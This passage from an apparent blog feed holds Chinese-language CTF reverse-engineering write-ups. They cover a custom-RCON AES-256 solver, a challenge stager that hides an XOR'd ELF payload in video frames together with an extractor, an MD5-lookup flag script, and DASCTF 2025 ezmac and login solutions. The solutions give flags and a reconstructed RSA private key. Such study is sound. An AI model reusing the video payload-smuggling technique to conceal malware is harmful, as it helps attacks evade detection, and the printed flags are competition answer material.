&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1306&quot; height=&quot;360&quot; src=&quot;https://sh10rl.top/_astro/image-18.CXC1Nq_B_mzM0Y.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;PKCS#7：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;790&quot; height=&quot;324&quot; src=&quot;https://sh10rl.top/_astro/image-19.DuMVl7-D_e2Pfh.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;aes128_encrypt_block：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;add_round_key(state, round_keys);



for (int round = 1; round &amp;#x3C; AES_ROUND_COUNT; ++round) {
    sub_bytes(state);
    shift_rows(state);
    mix_columns(state);
    add_round_key(state, round_keys + 4 * round);
}



sub_bytes(state);
shift_rows(state);
add_round_key(state, round_keys + 4 * AES_ROUND_COUNT);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1225&quot; height=&quot;297&quot; src=&quot;https://sh10rl.top/_astro/image-20.DAHEJIJ8_1g2jPn.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1217&quot; height=&quot;369&quot; src=&quot;https://sh10rl.top/_astro/image-21.8GfmYeUZ_Z2nv7kA.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;830&quot; height=&quot;204&quot; src=&quot;https://sh10rl.top/_astro/image-22.B5A6ar0D_11ONab.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1101&quot; height=&quot;283&quot; src=&quot;https://sh10rl.top/_astro/image-23.sLiaEY13_1bwQmP.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1259&quot; height=&quot;289&quot; src=&quot;https://sh10rl.top/_astro/image-24.BgNBz4sl_Z1fC2Ij.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1200&quot; height=&quot;536&quot; src=&quot;https://sh10rl.top/_astro/image-25.DYuhYYP6_16Jf7U.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;aes-keyExpasion改了RCON：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1190&quot; height=&quot;294&quot; src=&quot;https://sh10rl.top/_astro/image-26.4cNuYpT6_Z2wfoe5.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;static void key_expansion(const uint8_t key[AES_BLOCK_BYTES], uint32_t round_keys[AES_ROUND_KEY_WORDS]) {
    for (int i = 0; i &amp;#x3C; 4; ++i) {
        round_keys[i] = ((uint32_t)key[4 * i] &amp;#x3C;&amp;#x3C; 24) |
                        ((uint32_t)key[4 * i + 1] &amp;#x3C;&amp;#x3C; 16) |
                        ((uint32_t)key[4 * i + 2] &amp;#x3C;&amp;#x3C; 8) |
                        (uint32_t)key[4 * i + 3];
    }

    for (int i = 4; i &amp;#x3C; AES_ROUND_KEY_WORDS; ++i) {
        uint32_t temp = round_keys[i - 1];
        if (i % 4 == 0) {
            temp = sub_word(rot_word(temp)) ^ rcon[(i / 4) - 1];
        }
        round_keys[i] = round_keys[i - 4] ^ temp;
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;exp：&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;SBOX = [
    0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
    0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
    0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
    0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
    0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
    0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
    0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
    0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
    0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
    0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
    0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
    0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
    0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
    0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
    0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
    0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16,
]

INV_SBOX = [0] * 256
for i, v in enumerate(SBOX):
    INV_SBOX[v] = i

RCON = [0x9c, 0x10, 0x13, 0x15, 0x19, 0x01, 0x31]

NB = 4   # block words
NK = 8   # AES-256 key words
NR = 14  # AES-256 rounds

def xtime(a: int) -&gt; int:
    return ((a &amp;#x3C;&amp;#x3C; 1) ^ 0x1b) &amp;#x26; 0xff if (a &amp;#x26; 0x80) else ((a &amp;#x3C;&amp;#x3C; 1) &amp;#x26; 0xff)

def gf_mul(a: int, b: int) -&gt; int:
    res = 0
    for _ in range(8):
        if b &amp;#x26; 1:
            res ^= a
        hi = a &amp;#x26; 0x80
        a = (a &amp;#x3C;&amp;#x3C; 1) &amp;#x26; 0xff
        if hi:
            a ^= 0x1b
        b &gt;&gt;= 1
    return res

def sub_word(word):
    return [SBOX[b] for b in word]

def rot_word(word):
    return word[1:] + word[:1]

def xor_words(a, b):
    return [x ^ y for x, y in zip(a, b)]

def bytes_to_state(block: bytes):
    state = [[0] * 4 for _ in range(4)]
    for i in range(16):
        state[i % 4][i // 4] = block[i]
    return state

def state_to_bytes(state):
    out = bytearray(16)
    for i in range(16):
        out[i] = state[i % 4][i // 4]
    return bytes(out)

def add_round_key(state, round_key):
    for c in range(4):
        for r in range(4):
            state[r][c] ^= round_key[4 * c + r]

def inv_sub_bytes(state):
    for r in range(4):
        for c in range(4):
            state[r][c] = INV_SBOX[state[r][c]]

def inv_shift_rows(state):
    state[1] = state[1][-1:] + state[1][:-1]
    state[2] = state[2][-2:] + state[2][:-2]
    state[3] = state[3][-3:] + state[3][:-3]

def inv_mix_columns(state):
    for c in range(4):
        s0 = state[0][c]
        s1 = state[1][c]
        s2 = state[2][c]
        s3 = state[3][c]

        state[0][c] = gf_mul(s0, 0x0e) ^ gf_mul(s1, 0x0b) ^ gf_mul(s2, 0x0d) ^ gf_mul(s3, 0x09)
        state[1][c] = gf_mul(s0, 0x09) ^ gf_mul(s1, 0x0e) ^ gf_mul(s2, 0x0b) ^ gf_mul(s3, 0x0d)
        state[2][c] = gf_mul(s0, 0x0d) ^ gf_mul(s1, 0x09) ^ gf_mul(s2, 0x0e) ^ gf_mul(s3, 0x0b)
        state[3][c] = gf_mul(s0, 0x0b) ^ gf_mul(s1, 0x0d) ^ gf_mul(s2, 0x09) ^ gf_mul(s3, 0x0e)

def expand_key_256_custom_rcon(key: bytes) -&gt; bytes:
    if len(key) != 32:
        raise ValueError(&quot;AES-256 key must be exactly 32 bytes&quot;)

    w = []
    for i in range(NK):
        w.append([key[4*i], key[4*i+1], key[4*i+2], key[4*i+3]])

    total_words = NB * (NR + 1)  # 60
    rcon_index = 0

    for i in range(NK, total_words):
        temp = w[i - 1][:]

        if i % NK == 0:
            temp = xor_words(sub_word(rot_word(temp)), [RCON[rcon_index], 0x00, 0x00, 0x00])
            rcon_index += 1
        elif i % NK == 4:
            temp = sub_word(temp)

        w.append(xor_words(w[i - NK], temp))

    expanded = bytearray()
    for word in w:
        expanded.extend(word)
    return bytes(expanded)

def get_round_key(expanded_key: bytes, round_index: int) -&gt; bytes:
    start = round_index * 16
    return expanded_key[start:start + 16]

def aes256_decrypt_block(block: bytes, expanded_key: bytes) -&gt; bytes:
    if len(block) != 16:
        raise ValueError(&quot;block must be 16 bytes&quot;)

    state = bytes_to_state(block)

    add_round_key(state, get_round_key(expanded_key, NR))

    for rnd in range(NR - 1, 0, -1):
        inv_shift_rows(state)
        inv_sub_bytes(state)
        add_round_key(state, get_round_key(expanded_key, rnd))
        inv_mix_columns(state)

    inv_shift_rows(state)
    inv_sub_bytes(state)
    add_round_key(state, get_round_key(expanded_key, 0))

    return state_to_bytes(state)

def xor_bytes(a: bytes, b: bytes) -&gt; bytes:
    return bytes(x ^ y for x, y in zip(a, b))

def pkcs7_unpad(data: bytes) -&gt; bytes:
    if not data:
        raise ValueError(&quot;empty data&quot;)
    pad = data[-1]
    if pad &amp;#x3C; 1 or pad &gt; 16:
        raise ValueError(&quot;invalid PKCS#7 padding&quot;)
    if data[-pad:] != bytes([pad]) * pad:
        raise ValueError(&quot;invalid PKCS#7 padding&quot;)
    return data[:-pad]

def aes256_cbc_decrypt(ciphertext: bytes, key: bytes, iv: bytes, unpad: bool = False) -&gt; bytes:
    if len(key) != 32:
        raise ValueError(&quot;key must be 32 bytes for AES-256&quot;)
    if len(iv) != 16:
        raise ValueError(&quot;iv must be 16 bytes&quot;)
    if len(ciphertext) % 16 != 0:
        raise ValueError(&quot;ciphertext length must be multiple of 16&quot;)

    expanded_key = expand_key_256_custom_rcon(key)

    plaintext = bytearray()
    prev = iv

    for i in range(0, len(ciphertext), 16):
        block = ciphertext[i:i+16]
        dec = aes256_decrypt_block(block, expanded_key)
        plain_block = xor_bytes(dec, prev)
        plaintext.extend(plain_block)
        prev = block

    result = bytes(plaintext)
    return pkcs7_unpad(result) if unpad else result

def to_hex(data: bytes) -&gt; str:
    return data.hex()

def main():
    cipher = bytes([
        0x9b, 0x5e, 0x1e, 0x8f, 0xd7, 0xc3, 0x43, 0x62,
        0xa2, 0x37, 0x86, 0xc0, 0xce, 0x3d, 0x3c, 0xf4,
        0xc3, 0xb6, 0x88, 0xff, 0x3c, 0x9c, 0x13, 0xd2,
        0xbb, 0x6f, 0x49, 0xce, 0xff, 0x59, 0xa2, 0x5c,
        0x36, 0xe4, 0x61, 0x9e, 0x60, 0x61, 0xc3, 0xbb,
        0x3f, 0x63, 0xaf, 0x00, 0x3b, 0x3d, 0x8d, 0xa7
    ])

    key = bytes.fromhex(&quot;c23012ab39101833f8ed4e468da15d8d8cfbf0726899dc7c846e7ecf32bbdaf8&quot;)
    iv  = bytes.fromhex(&quot;aeba0dbbca267f9906ed7c70e38d8b11&quot;)

    plaintext = aes256_cbc_decrypt(cipher, key, iv, unpad=False)

    print(&quot;Ciphertext hex :&quot;, cipher.hex())
    print(&quot;Plaintext hex  :&quot;, plaintext.hex())

    print(&quot;Plaintext&quot;, plaintext)

if __name__ == &quot;__main__&quot;:
    main()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2203&quot; height=&quot;161&quot; src=&quot;https://sh10rl.top/_astro/image-27.CUgFkncy_Z1ljjOe.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;6re1&quot;&gt;6.re1&lt;/h2&gt;
&lt;p&gt;loader使用b64解码一个pyc并运行：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1386&quot; height=&quot;662&quot; src=&quot;https://sh10rl.top/_astro/image-28.CTrCQQ9l_ZXTT0B.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;解码stager_pyc_base64并提出pyc，pyc用pylingual反编译：&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: &apos;Payload_To_PixelCode_video.py&apos;
# Bytecode version: 3.7.0 (3394)
# Source timestamp: 2026-01-04 04:02:18 UTC (1767499338)

from PIL import Image
import math
import os
import sys
import numpy as np
import imageio
from tqdm import tqdm
def file_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file=&apos;video.mp4&apos;):
    if not os.path.isfile(input_file):
        return None
    file_size = os.path.getsize(input_file)
    binary_string = &apos;&apos;
    with open(input_file, &apos;rb&apos;) as f:
        for chunk in tqdm(iterable=iter(lambda: f.read(1024), b&apos;&apos;), total=math.ceil(file_size / 1024), unit=&apos;KB&apos;, desc=&apos;读取文件&apos;):
            binary_string += &apos;&apos;.join((f&apos;{byte:08b}&apos; for byte in chunk))
    xor_key = &apos;10101010&apos;
    xor_binary_string = &apos;&apos;
    for i in range(0, len(binary_string), 8):
        chunk = binary_string[i:i + 8]
        if len(chunk) == 8:
            chunk_int = int(chunk, 2)
            key_int = int(xor_key, 2)
            xor_result = chunk_int ^ key_int
            xor_binary_string += f&apos;{xor_result:08b}&apos;
        else:
            xor_binary_string += chunk
    binary_string = xor_binary_string
    pixels_per_image = width // pixel_size * (height // pixel_size)
    num_images = math.ceil(len(binary_string) / pixels_per_image)
    frames = []
    for i in tqdm(range(num_images), desc=&apos;生成视频帧&apos;):
        start = i * pixels_per_image
        bits = binary_string[start:start + pixels_per_image]
        if len(bits) &amp;#x3C; pixels_per_image:
            bits = bits + &apos;0&apos; * (pixels_per_image - len(bits))
        img = Image.new(&apos;RGB&apos;, (width, height), color=&apos;white&apos;)
        for r in range(height // pixel_size):
            row_start = r * (width // pixel_size)
            row_end = (r + 1) * (width // pixel_size)
            row = bits[row_start:row_end]
            for c, bit in enumerate(row):
                color = (0, 0, 0) if bit == &apos;1&apos; else (255, 255, 255)
                x1, y1 = (c * pixel_size, r * pixel_size)
                img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))
        frames.append(np.array(img))
    with imageio.get_writer(output_file, fps=fps, codec=&apos;libx264&apos;) as writer:
        for frame in tqdm(frames, desc=&apos;写入视频帧&apos;):
            writer.append_data(frame)
if __name__ == &apos;__main__&apos;:
    input_path = &apos;payload&apos;
    if os.path.exists(input_path):
        file_to_video(input_path)
    else:
        sys.exit(1)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;XOR 0xaa之后的 payload_file 的二进制 -&gt; 按照 8 * 8 一块像素生成一堆图片，1黑像素，0白像素，一张图片像素个数为 80 * 60 个，使用opencv解出来是个ELF：&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;Reverse stager.py: extract payload from video.mp4&quot;&quot;&quot;

import cv2
import numpy as np
import sys

PIXEL_SIZE = 8
XOR_KEY = 0xAA

def extract_payload(video_path, output_path=&quot;payload&quot;):
    cap = cv2.VideoCapture(video_path)
    if not cap.isOpened():
        print(f&quot;Cannot open {video_path}&quot;, file=sys.stderr)
        sys.exit(1)

    width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
    height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
    total = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
    print(f&quot;{width}x{height}, {total} frames&quot;)

    bits = []
    idx = 0
    while True:
        ret, frame = cap.read()
        if not ret:
            break
        gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
        for r in range(0, height, PIXEL_SIZE):
            for c in range(0, width, PIXEL_SIZE):
                block = gray[r:r + PIXEL_SIZE, c:c + PIXEL_SIZE]
                bits.append(&quot;1&quot; if np.mean(block) &amp;#x3C; 128 else &quot;0&quot;)
        idx += 1
        print(f&quot;\r[{idx}/{total}]&quot;, end=&quot;&quot;, flush=True)
    cap.release()
    print()

    out = bytearray()
    for i in range(0, len(bits) - 7, 8):
        out.append(int(&quot;&quot;.join(bits[i:i + 8]), 2) ^ XOR_KEY)

    with open(output_path, &quot;wb&quot;) as f:
        f.write(out)
    print(f&quot;Wrote {len(out)} bytes -&gt; {output_path}&quot;)

if __name__ == &quot;__main__&quot;:
    extract_payload(&quot;video.mp4&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2874&quot; height=&quot;109&quot; src=&quot;https://sh10rl.top/_astro/image-29.CCjsQt79_Z2c1Rh5.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2526&quot; height=&quot;183&quot; src=&quot;https://sh10rl.top/_astro/image-30.C6heJokO_Z1nXV4X.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1694&quot; height=&quot;99&quot; src=&quot;https://sh10rl.top/_astro/image-31.DHIUgRMi_xkbc6.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;exp：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;import hashlib

md5_map = {hashlib.md5(bytes([i])).hexdigest(): chr(i) for i in range(256)}

hashes = [
    &quot;8277e0910d750195b448797616e091ad&quot;,
    &quot;0cc175b9c0f1b6a831c399e269772661&quot;,
    &quot;4b43b0aee35624cd95b910189b3dc231&quot;,
    &quot;e358efa489f58062f10dd7316b65649e&quot;,
    &quot;f95b70fdc3088560732a5ac135644506&quot;,
    &quot;c81e728d9d4c2f636f067f89cc14862c&quot;,
    &quot;92eb5ffee6ae2fec3ad71c777531578f&quot;,
    &quot;c4ca4238a0b923820dcc509a6f75849b&quot;,
    &quot;8fa14cdd754f91cc6554c9e71929cce7&quot;,
    &quot;c9f0f895fb98ab9159f51fd0297e236d&quot;,
    &quot;336d5ebc5436534e61d16e63ddfca327&quot;,
    &quot;eccbc87e4b5ce2fe28308fd9f2a7baf3&quot;,
    &quot;cfcd208495d565ef66e7dff9f98764da&quot;,
    &quot;a87ff679a2f3e71d9181a67b7542122c&quot;,
    &quot;e4da3b7fbbce2345d7772b0674a318d5&quot;,
    &quot;e1671797c52e15f763380b45e841ec32&quot;,
    &quot;8f14e45fceea167a5a36dedd4bea2543&quot;,
    &quot;1679091c5a880faf6fb5e6087eb1b2dc&quot;,
    &quot;4a8a08f09d37b73795649038408b5f33&quot;,
    &quot;cbb184dd8e05c9709e5dcaedaa0495cf&quot;,
]

flag = &quot;&quot;.join(md5_map[h] for h in hashes)
print(flag)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2818&quot; height=&quot;87&quot; src=&quot;https://sh10rl.top/_astro/image-32.DhBZwl04_Z1NnABd.webp&quot;&gt;&lt;/figure&gt;</content:encoded><category>CTF</category></item><item><title>DASCTF 2025</title><link>https://sh10rl.top/posts/dasctf2025/</link><guid isPermaLink="true">https://sh10rl.top/posts/dasctf2025/</guid><description>ezmac + login writeup</description><pubDate>Mon, 08 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;ezmac&quot;&gt;ezmac&lt;/h2&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.imipy.com/post/macos-shellcode-cheat-sheet.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://blog.imipy.com/post/macos-shellcode-cheat-sheet.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/radareorg/radare2/blob/master/libr/include/sflib/darwin-arm-64/ios-syscalls.txt&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://github.com/radareorg/radare2/blob/master/libr/include/sflib/darwin-arm-64/ios-syscalls.txt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/56985859/ios-arm64-syscalls&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://github.com/radareorg/radare2/blob/master/libr/include/sflib/darwin-arm-64/ios-syscalls.txt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;去掉一个花指令：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;__text:00000001000003A8 00 00 80 D2       MOV             X0, #0
__text:00000001000003AC 00 00 00 CB       SUB             X0, X0, X0
[ ... ]
__text:00000001000003C4 E4 03 00 AA       MOV             X4, X0
__text:00000001000003C8 9F 00 00 F1       CMP             X4, #0
[ ... begin]
__text:00000001000003CC 40 01 00 54       B.EQ            loc_1000003F4
__text:00000001000003D0 25 00 00 90 A5 EC ADRL            X5, input
__text:00000001000003D0 00 91
__text:00000001000003D8 86 04 00 D1       SUB             X6, X4, #1
__text:00000001000003DC A5 00 06 8B       ADD             X5, X5, X6    ; byte_10000403A
__text:00000001000003E0 A7 00 40 39       LDRB            W7, [X5]
__text:00000001000003E4 FF 28 00 71       CMP             W7, #0xA
__text:00000001000003E8 61 00 00 54       B.NE            loc_1000003F4
__text:00000001000003EC 07 00 80 52       MOV             W7, #0
__text:00000001000003F0 A7 00 00 39       STRB            W7, [X5]
[ ... end]
__text:00000001000003F4                   loc_1000003F4   &lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;key = 0x39
cipher = [0x7d, 0x7b, 0x68, 0x7f, 0x69, 0x78, 0x44, 0x78, 0x72, 0x21, 0x74, 0x76, 0x75, 0x22, 0x26, 0x7b, 0x7c, 0x7e, 0x78, 0x7a, 0x2e, 0x2d, 0x7f, 0x2d]

key_list = []
for i in range(len(cipher)):
    key_list.append(key)
    key += 1

for c, k in zip(cipher, key_list):
    print(chr(c ^ k), end=&apos;&apos;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;DASCTF{83c720da35436cc0}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;login&quot;&gt;login&lt;/h2&gt;
&lt;p&gt;如果缺少&lt;a href=&quot;https://mirror.cs.uchicago.edu/ubuntu/ubuntu/pool/main/o/openssl&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;OpenSSL 1.1&lt;/a&gt;可以下一个:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;wget https://mirror.cs.uchicago.edu/ubuntu/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2.24_amd64.deb
sudo dpkg -i libssl1.1_1.1.1f-1ubuntu2.24_amd64.deb&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;client&lt;/code&gt;有一个读config：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;if (mode == 0) {
    memcpy(out, buf + 4, 16);       // bytes [4:19] -&gt; key
} else if (mode == 1) {
    memcpy(out, buf + 23, 16);      // bytes [23:38] -&gt; iv
} else if (mode == 2) {
    memcpy(out, buf + 46, 42);      // bytes [46:87] -&gt; passwd
} else {
    free(buf);
    fclose(f);
    return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;传明文时除了”req login …”都用RC4，传Key IV时用RSA。
server的state有0123分别对应：接收”req login …”明文，接收rsa(IV)，接收rsa(Key)，接收aes-cbc(passwd)。每个state都有一个简单的for循环校验，不通过输出backdoor。&lt;/p&gt;
&lt;p&gt;nepqd已知，先构建出PEM：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

N_HEX = &quot;9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3&quot;     # off_C2D0
E_HEX = &quot;10001&quot;
P_HEX = &quot;b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f&quot;     # off_C2E0
Q_HEX = &quot;d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad&quot;     # off_C2E8
D_HEX = &quot;28c7df24a5798679db2a44979275f5f3179db180d91335702942fb1b70e985de825da90f2eb65d20ddf8be1d9d4e15bc1d84e95795ff8c0c28ce3c33fde054f6e82a4f4cc22597b350c9c62ccc0188bd4152a701a3601558f22aa9fae8b9fdac6c2bc09b1637f71e0511805e04b203c4fdb2b36ad232fe819b06ed4e57c74f39fd9b72623c16ff2100f148f622bf12876260c4859672360dc0da3da6b45c5c8c6215ccda072765840c213fba11a91d6bf598a8a8065797566c8950a34ea0a072a9ed0c38bdc58662f186ec578ca55d5098443fd566cc722ace9c4e89afc4e302c8a4870e11a003b935f4a102695bfd64bb0fa74dcc372682e2b24ff45a1a69&quot;     # off_C2F0

n = int(N_HEX, 16)
e = int(E_HEX, 16)
p = int(P_HEX, 16)
q = int(Q_HEX, 16)
d = int(D_HEX, 16)

# 计算 CRT 参数
dp = d % (p - 1)
dq = d % (q - 1)
qi = pow(q, -1, p)

priv_numbers = rsa.RSAPrivateNumbers(
    p=p, q=q, d=d,
    dmp1=dp, dmq1=dq, iqmp=qi,
    public_numbers=rsa.RSAPublicNumbers(e=e, n=n),
)

key = priv_numbers.private_key()

pem = key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.TraditionalOpenSSL,  # BEGIN RSA PRIVATE KEY
    encryption_algorithm=serialization.NoEncryption(),
)

print(pem.decode())&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;再用厨子，RSA-OAEP解密出key和IV:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;IV &lt;code&gt;aassddffgghhjjll&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Key &lt;code&gt;qqwweerrttyyuuii&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Passwd 是个aes-cbc&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;DASCTF{dqmaxfwkm921kr21m;df1m1dqmlk1d12d1}&lt;/code&gt;&lt;/p&gt;</content:encoded><category>CTF</category></item><item><title>羊城杯 2025</title><link>https://sh10rl.top/posts/ycb/</link><guid isPermaLink="true">https://sh10rl.top/posts/ycb/</guid><description>后两题WriteUp</description><pubDate>Tue, 14 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;ez_py&quot;&gt;ez_py&lt;/h2&gt;
&lt;p&gt;给了两个玩意:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;pyinstaller 打包的&lt;code&gt;key.exe&lt;/code&gt;, 要求输入正确9个数字&lt;/li&gt;
&lt;li&gt;pyarmor 打包的&lt;code&gt;src.py&lt;/code&gt;, 需要用&lt;a href=&quot;https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Pyarmor Static Unpack One-Shot Tool&lt;/a&gt;解包&lt;/li&gt;
&lt;/ol&gt;
